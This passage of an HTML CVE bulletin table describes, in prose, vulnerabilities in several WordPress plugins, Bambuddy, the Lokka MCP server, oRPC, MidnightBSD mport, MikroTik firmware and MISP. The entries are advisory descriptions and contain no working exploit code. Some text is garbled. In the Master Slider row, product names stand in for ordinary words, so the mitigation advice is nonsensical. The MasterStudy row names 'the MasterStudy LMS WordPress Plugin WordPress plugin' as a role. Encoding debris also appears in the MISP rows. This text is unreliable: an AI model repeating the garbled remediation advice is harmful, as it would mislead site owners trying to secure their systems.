&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88824&quot; target=&quot;_blank&quot;&gt;CVE-2026-88824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Master Slider--Master Slider&lt;/td&gt;
&lt;td&gt;The Master Slider WordPress plugin through 3.11.2 does not sanitise and escape some of its shortcode attributes before outputting them in an inline script context, which could allow users with the Contributor role and above to perform Stored Cross-Site Scripting attacks that execute when the affected post is viewed. No fixed version is available. Until one ships, restrict the Contributor role to trusted users, or deactivate the Master Slider WordPress plugin through 3.11.2. Site owners who need to keep it active can block the ms_slider shortcode for roles below Editor, for example with a shortcode-restriction Master Slider WordPress plugin through 3.11.2, which prevents the attack without removing the Master Slider WordPress plugin through 3.11.2.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14844&quot; target=&quot;_blank&quot;&gt;CVE-2026-14844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS WordPress Plugin--MasterStudy LMS WordPress Plugin&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not perform per-object ownership or capability checks when updating orders through its REST API, allowing users with the Instructor role to modify any order on the site, granting free course enrolment, revoking other users&#039; paid enrolments, and tampering with order notes.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81340&quot; target=&quot;_blank&quot;&gt;CVE-2026-81340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS WordPress Plugin--MasterStudy LMS WordPress Plugin&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not verify that the requesting user owns the course before returning its enrolled-student data, allowing users with the MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50&#039;s Instructor role to disclose the names and email addresses of students enrolled in other instructors&#039; courses.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88844&quot; target=&quot;_blank&quot;&gt;CVE-2026-88844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;maziggy--bambuddy&lt;/td&gt;
&lt;td&gt;Bambuddy is a self-hosted print archive and management system for Bambu Lab 3D printers. Starting in version 0.1.6 and prior to version 0.2.4.4, a fail-open in the authentication code allows any attacker to bypass authentication by flooding a public endpoint to exhaust resources causing database access to fail, granting unauthenticated access to all protected endpoints. Version 0.2.4.4 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53459&quot; target=&quot;_blank&quot;&gt;CVE-2026-53459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Meow Gallery--Meow Gallery&lt;/td&gt;
&lt;td&gt;The Meow Gallery WordPress plugin before 5.5.5 does not properly sanitize a user-supplied value before concatenating it into a shortcode string that it passes to the WordPress shortcode parser on a publicly reachable endpoint, allowing unauthenticated users to execute arbitrary registered shortcodes and disclose non-public gallery content.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92422&quot; target=&quot;_blank&quot;&gt;CVE-2026-92422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Meow Gallery--Meow Gallery&lt;/td&gt;
&lt;td&gt;The Meow Gallery WordPress plugin before 5.5.5 does not perform a proper capability check or restrict results to the requesting user&#039;s own posts before returning post data, allowing authenticated users with Author-level access and above to disclose the titles, authors, dates and statuses of other users&#039; draft and private posts.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92423&quot; target=&quot;_blank&quot;&gt;CVE-2026-92423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;merill--lokka&lt;/td&gt;
&lt;td&gt;Lokka is a Model Context Protocol server for Microsoft 365, including Microsoft Graph and other services. Prior to 2.1.2, the Lokka-Microsoft tool in src/mcp/src/main.ts uses direct URL string concatenation to append the user-controlled path value to the management.azure.com base URL. A specially crafted path can alter URL authority parsing and cause an Azure Resource Manager bearer token to be sent to an unintended host. This issue is fixed in version 2.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58201&quot; target=&quot;_blank&quot;&gt;CVE-2026-58201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MgoSync--MgoSync&lt;/td&gt;
&lt;td&gt;The MgoSync WordPress plugin before 2.1.7 does not have authorization controls on one of its REST API endpoints, allowing unauthenticated users to retrieve the stored WooCommerce API credentials, including a read/write consumer key and secret, from a configured site.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92404&quot; target=&quot;_blank&quot;&gt;CVE-2026-92404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;middleapi--orpc&lt;/td&gt;
&lt;td&gt;oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to 1.14.8, the @orpc/server CORS plugin in packages/server/src/plugins/cors.ts copies a client&#039;s incoming Vary request header into the response instead of controlling Vary as a response-only header and using Origin for request-origin variation. In deployments behind a shared cache, CDN, or reverse proxy that keys responses using Vary, a client can inject arbitrary variation values, pollute cache keys, and cause inconsistent CORS enforcement for other clients. Default non-cached configurations have no established direct confidentiality, integrity, or availability impact. This issue is fixed in version 1.14.8.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77360&quot; target=&quot;_blank&quot;&gt;CVE-2026-77360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, privileged package fetch and cache-cleaning operations used race-prone path handling across libmport/fetch.c, libmport/clean.c, libmport/util.c, libmport/bundle_read_install_pkg.c, libmport/delete_primative.c, and libexec/mport.create/mport.create.c. A local attacker with write access to a participating package cache or staging path could race path checks and replacement operations to redirect package downloads, cleanup, or install-related side effects outside the intended cache. The affected lifecycle helper paths also used shell-form invocation, increasing command-line interpretation risk during privileged helper execution. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54575&quot; target=&quot;_blank&quot;&gt;CVE-2026-54575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, do_actual_install() in libmport/bundle_read_install_pkg.c used path-based lstat(), chown(), stat(), and chmod() operations while installing package files. A local attacker with write access to a target directory could replace a checked file with a symlink before privileged ownership or mode changes were applied, redirecting those changes to an attacker-selected path and compromising filesystem integrity or permissions. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54576&quot; target=&quot;_blank&quot;&gt;CVE-2026-54576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, the audit command in mport/mport.c computed option-adjusted local_argv and local_argc values but passed the original argument entry to audit_package(). When an operator or automation used an option such as -r before a package name, stale optind state and the unadjusted argument could cause mport to audit the option token instead of the requested package, producing a false-negative or useless result that could leave a vulnerable package unidentified. The corrected parsing resets optind and optreset before using the adjusted local arguments. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54577&quot; target=&quot;_blank&quot;&gt;CVE-2026-54577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, mport_verify_package() in libmport/verify.c could continue after MD5File() or SHA256_File() failed and compare an expected checksum with stale data in the hash buffer rather than a newly computed digest. An attacker able to influence an installed file or the conditions that make hashing fail could receive a misleading integrity result or hide a checksum failure. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54578&quot; target=&quot;_blank&quot;&gt;CVE-2026-54578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, ping() in libmport/ping.c accepted ICMP replies without validating icmp_id or icmp_seq and parsed the reply using a fixed IP-header offset instead of ip_hl. A network attacker able to inject or spoof visible ICMP replies could influence mirror latency selection, while a malformed packet carrying IP options could shift the ICMP header and trigger an out-of-bounds read. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54579&quot; target=&quot;_blank&quot;&gt;CVE-2026-54579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, libmport/util.c did not make every truncated, corrupt, or failed zstd stream fatal in mport_decompress_zstd(), and libmport/fetch.c did not consistently propagate those failures to index-fetch callers. A malicious or faulty mirror could supply compressed package index data that caused ZSTD_decompressStream() or an output write to fail while leaving partial index output available for later use, resulting in package-index integrity loss or denial of service. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54580&quot; target=&quot;_blank&quot;&gt;CVE-2026-54580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, the mport_fetch_bootstrap_index() function in libmport/fetch.c could return success when bootstrap index hash verification encountered a missing or invalid hash because the failure path did not preserve a fatal result. A network attacker or compromised mirror able to alter bootstrap index content or its transport path could therefore cause mport to proceed with an unverified or tampered bootstrap package index. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54581&quot; target=&quot;_blank&quot;&gt;CVE-2026-54581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, package installation lacked a preflight check for incoming non-directory assets that already existed on disk. The affected logic across libmport/check_preconditions.c, libmport/install_primative.c, and libmport/mport_private.h did not apply MPORT_PRECHECK_FILE_CONFLICTS, so a crafted or conflicting package could overwrite a file owned by another package or unmanaged by mport. The check is bypassed only when the operator explicitly enables mport-&amp;gt;force. Privileged installation without that override could compromise local filesystem integrity and package database consistency. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54582&quot; target=&quot;_blank&quot;&gt;CVE-2026-54582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, libmport/fetch.c did not consistently reject empty, dot, dot-dot, or slash-containing bundle filenames before composing package download and write paths. Malicious package index data could place an unsafe value in indexEntry-&amp;gt;bundlefile, and the missing is_valid_bundle_filename() checks allowed downloaded package data to be written outside the intended cache location or to an unsafe destination name. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54583&quot; target=&quot;_blank&quot;&gt;CVE-2026-54583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, create_sample_file() in libmport/bundle_read_install_pkg.c did not constrain absolute source and destination paths from the sample-file manifest directive to mport-&amp;gt;root. A malicious or malformed package manifest could therefore direct privileged sample-file handling to copy or write outside the configured installation root, compromising local filesystem integrity. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54585&quot; target=&quot;_blank&quot;&gt;CVE-2026-54585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, the mport_fetch_index(), mport_fetch_bootstrap_index(), and mport_fetch_bundle() paths in libmport/fetch.c accepted non-HTTPS repository and package mirror URLs without a url_is_https() enforcement check. When a cleartext URL was configured or returned by mirror data, a network-positioned attacker could tamper with package index or package download traffic and compromise package selection or integrity. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54586&quot; target=&quot;_blank&quot;&gt;CVE-2026-54586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. Prior to 2.7.8, directory assets handled as ASSET_DIR or ASSET_DIR_OWNER_MODE in libmport/bundle_read_install_pkg.c used path-based mport_mkdirp(), ownership, and permission operations. A local attacker able to modify part of the target installation tree could use dot-dot traversal or substitute symlinks during privileged package installation, causing directory creation or attribute changes to affect attacker-selected paths outside the intended package directories. This issue is fixed in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54587&quot; target=&quot;_blank&quot;&gt;CVE-2026-54587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MikroTik --MikroTik&amp;nbsp;&lt;/td&gt;
&lt;td&gt;MikroTik firmware 7.19.4 stores sensitive authentication credentials and network state in cleartext within non-volatile storage. An attacker with physical access to the device can extract this material from an SPI flash dump, without authenticating to the device and without knowledge of the administrative password.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-56566&quot; target=&quot;_blank&quot;&gt;CVE-2025-56566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains a Cross-Site Request Forgery (CSRF) vulnerability in the UserSettingsController. The actions setTheme, setHomePage, and eventIndexColumnToggle were explicitly added to the Security component&#039;s unlockedActions list, which disabled all CSRF validation (both token and field-hash checks) for those endpoints. Because these endpoints accept POST requests and modify per-user application state (theme selection, default homepage URL, and event index column visibility), an attacker who can induce a logged-in MISP user to load a malicious page (e.g., via a crafted link, embedded image, or auto-submitting form) can forge requests that alter the victim&#039;s settings without their knowledge or consent. The most impactful action is setHomePage, which allows an attacker to redirect the victim&#039;s default landing page to an arbitrary attacker-controlled URL, potentially facilitating phishing or further social engineering. The setTheme action can alter the user&#039;s visual theme, and eventIndexColumnToggle can change which columns are displayed in the event index view. No authentication bypass is involved; the victim must already be authenticated to MISP. The vulnerability was reported by the Scottish Government National Cyber Team. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90893&quot; target=&quot;_blank&quot;&gt;CVE-2026-90893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP&#039;s interactive CLI shell implement access control independently from the normal web application, causing several authorization inconsistencies. The patch shows that CLI access could differ from the web application in multiple security-sensitive areas: ƒ- feed listings did not enforce the same lookup_visible restrictions for non-host-organisation users; ƒ- feed detail access did not enforce the same host-organisation/site-admin authorization as FeedsController::view(); ƒ- Feed.headers, which can contain HTTP authorization credentials, could be exposed instead of being hidden or masked; ƒ- server synchronization authkey values were not explicitly hidden from CLI detail output; ƒ- sharing-group detail access did not consistently use SharingGroup::checkIfAuthorised(); ƒ- the use command could establish context for a record without first proving that the user was authorized to view that record The commit additionally hardens pagination and terminal rendering, including neutralization of terminal control sequences found in database-backed values. Those are important hardening changes, but the main vulnerability is the CLI authorization/data-disclosure mismatch. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90895&quot; target=&quot;_blank&quot;&gt;CVE-2026-90895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP&#039;s interactive CLI shell do not reliably preserve the identity of the impersonated MISP user across audit logging. The shell is designed to run actions as a supplied MISP user ID. However, the legacy SysLogLogable behavior stored that identity in behavior-instance state that could be overwritten when another model lazily attached the shared behavior. Consequently, subsequent CLI writes could lose the intended user attribution and be logged incorrectly. The commit also notes that CLI-originated records lacked a CLI marker, making them appear similar to ordinary web actions by that user. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90955&quot; target=&quot;_blank&quot;&gt;CVE-2026-90955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP serve uploaded SVG images inline without a restrictive browser sandbox. The commit explains that SVG files are XML documents rather than passive bitmap images. While scripts inside SVG do not execute when the SVG is rendered through a normal &amp;lt;img&amp;gt;, they can execute when the SVG is navigated to directly or embedded as a document. In that case, malicious &amp;lt;script&amp;gt; elements, event handlers, or javascript: URLs execute on the MISP origin with the viewer&#039;s session. The affected use cases include: ƒ- organisation SVG logos; ƒ-&amp;nbsp;event-report SVG pictures. Importantly, the vulnerable behavior is on the serve path, not merely the upload path: the patch notes that a malicious SVG uploaded while SVG support was enabled could remain dangerous even after uploads were later disabled. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90957&quot; target=&quot;_blank&quot;&gt;CVE-2026-90957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;The LdapAuth and LinOTPAuth authentication plugins in MISP contain an authentication bypass vulnerability. Both LdapAuthenticate and LinOTPAuthenticate replace CakePHP&#039;s FormAuthenticate class but fail to replicate its _checkFields() input validation guard. As a result, the email and password fields extracted from the login request are passed to downstream authentication logic without verifying that they are non-empty strings. In the LDAP authenticator, an empty or null password is forwarded to ldap_bind(). Per RFC 4513 section 5.1.2, a bind request with a valid DN and an empty password constitutes an unauthenticated bind, which many LDAP directory servers accept as successful. An attacker who knows any valid user email address in the directory can therefore authenticate as that user without possessing a password. Additionally, non-string values (null, false, arrays) are either coerced to empty strings by ldap_bind(), raise TypeErrors, or are misinterpreted as find conditions in _findUser(), all of which can lead to unintended authentication outcomes. In the LinOTP authenticator, the same missing guard allows non-string credentials to be concatenated into the LinOTP verification request, and in the mixed-authentication branch an empty password is accepted against a stored hash of the empty string. A secondary issue in the LDAP authenticator is that newly created user accounts (auto-provisioned on first LDAP login) were assigned an empty password. Because the save path skips validation, the empty string is hashed and stored. If the user later ceases to be found in LDAP and the mixed-authentication fallback is used, the stored hash of the empty string verifies against an empty password, again permitting unauthenticated access. The vulnerability requires that the affected plugin (LdapAuth or LinOTPAuth) is enabled on the MISP instance and that the attacker knows at least one valid email address registered in the directory or MISP user store. No prior authentication is required. Successful exploitation grants the attacker the full privileges of the impersonated user, which may include administrative access to threat intelligence data. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90961&quot; target=&quot;_blank&quot;&gt;CVE-2026-90961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP rely on CakePHP request-method override processing in a way that can disable CSRF and form-security validation. CakePHP honors a _method field or X-HTTP-Method-Override header by rewriting the effective request method. For override values outside the normal write verbs POST, PUT, PATCH, and DELETE, CakePHP also clears the parsed request body. MISP&#039;s security component then determines whether to perform _validatePost() and _validateCsrf() based on whether request data remains. With a value such as: _method=GET the body becomes empty before those checks run, so both protections are skipped. A cross-site form containing only that override can therefore reach actions whose parameters are taken from the URL rather than the request body Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91819&quot; target=&quot;_blank&quot;&gt;CVE-2026-91819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP fail to authorize a submitted sharing group in a specific event-edit path. The vulnerable logic checked whether the acting user could use a sharing_group_id only when the request explicitly supplied distribution = 4. If the attacker instead omitted distribution but supplied a different sharing_group_id, that authorization branch was skipped. Later, MISP&#039;s field-recovery logic restored the existing event distribution from storage. For events already configured with sharing-group distribution, the unauthorized sharing-group ID could therefore be saved. The fix adds authorization checks in both the controller and Event::_edit() whenever a non-empty sharing_group_id is supplied without distribution. The model now calls SharingGroup::checkIfAuthorised() before persisting the change. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91825&quot; target=&quot;_blank&quot;&gt;CVE-2026-91825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP allow a collection element to be created from a bare UUID without consistently checking whether the acting user is allowed to access the referenced object. The commit explains that collection elements themselves only store UUIDs, while the collection view later resolves those UUIDs into their underlying objects. Before this fix, the generic add() path could therefore persist a UUID for an Event or Galaxy Cluster that the caller could not normally read. The patch explicitly notes that this made collections a way to reference another organisation&#039;s private data and had caused disclosure of organisation-only events in the beta collection view. The fix centralizes authorization in __assertCanUseElements(). Event UUIDs are validated through Event::fetchSimpleEvent() under the current user&#039;s ACL, while Galaxy Cluster UUIDs are checked through GalaxyCluster::fetchGalaxyClusters(). The check is applied both to the CRUD add() path and to addElementToCollection(). Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91846&quot; target=&quot;_blank&quot;&gt;CVE-2026-91846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP incorrectly filter dashboard templates that are restricted to a specific permission flag. DashboardsController::listTemplates() allowed a template when either: ƒ-&amp;nbsp;its restrict_to_permission_flag matched one of the current user&#039;s permission flags, or ƒ-&amp;nbsp;restrict_to_permission_flag equaled integer 0 However, restrict_to_permission_flag is a varchar. MySQL therefore performed numeric coercion when comparing the column against integer 0. Strings such as perm_site_admin convert numerically to zero, making expressions such as perm_site_admin = 0 evaluate true and causing the &quot;unrestricted&quot; branch to match permission-restricted templates as well. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91851&quot; target=&quot;_blank&quot;&gt;CVE-2026-91851&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;Affected versions of MISP expose several state-changing controller actions without restricting them to POST. The affected actions are: ƒ-&amp;nbsp;EventReportsController::purgeUnusedPictures() ƒ-&amp;nbsp;NoticelistsController::enableNoticelist() ƒ-&amp;nbsp;ServersController::removeOrphanedCorrelations() ƒ- WorkflowsController::rebuildRedis() The patch adds allowMethod([&#039;post&#039;]) to each action, preventing them from being triggered through ordinary GET requests. For purgeUnusedPictures(), the corresponding UI previously used $.get(). The fix converts that request to POST and supplies X-CSRF-Token, while the controller enables header-only CSRF validation for that AJAX action. Because GET requests can be induced cross-origin through links, images, redirects, or navigation, accepting GET for these state-changing operations can let an attacker trigger them using the authenticated victim&#039;s session. Version affected: â‰¤2.5.45&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
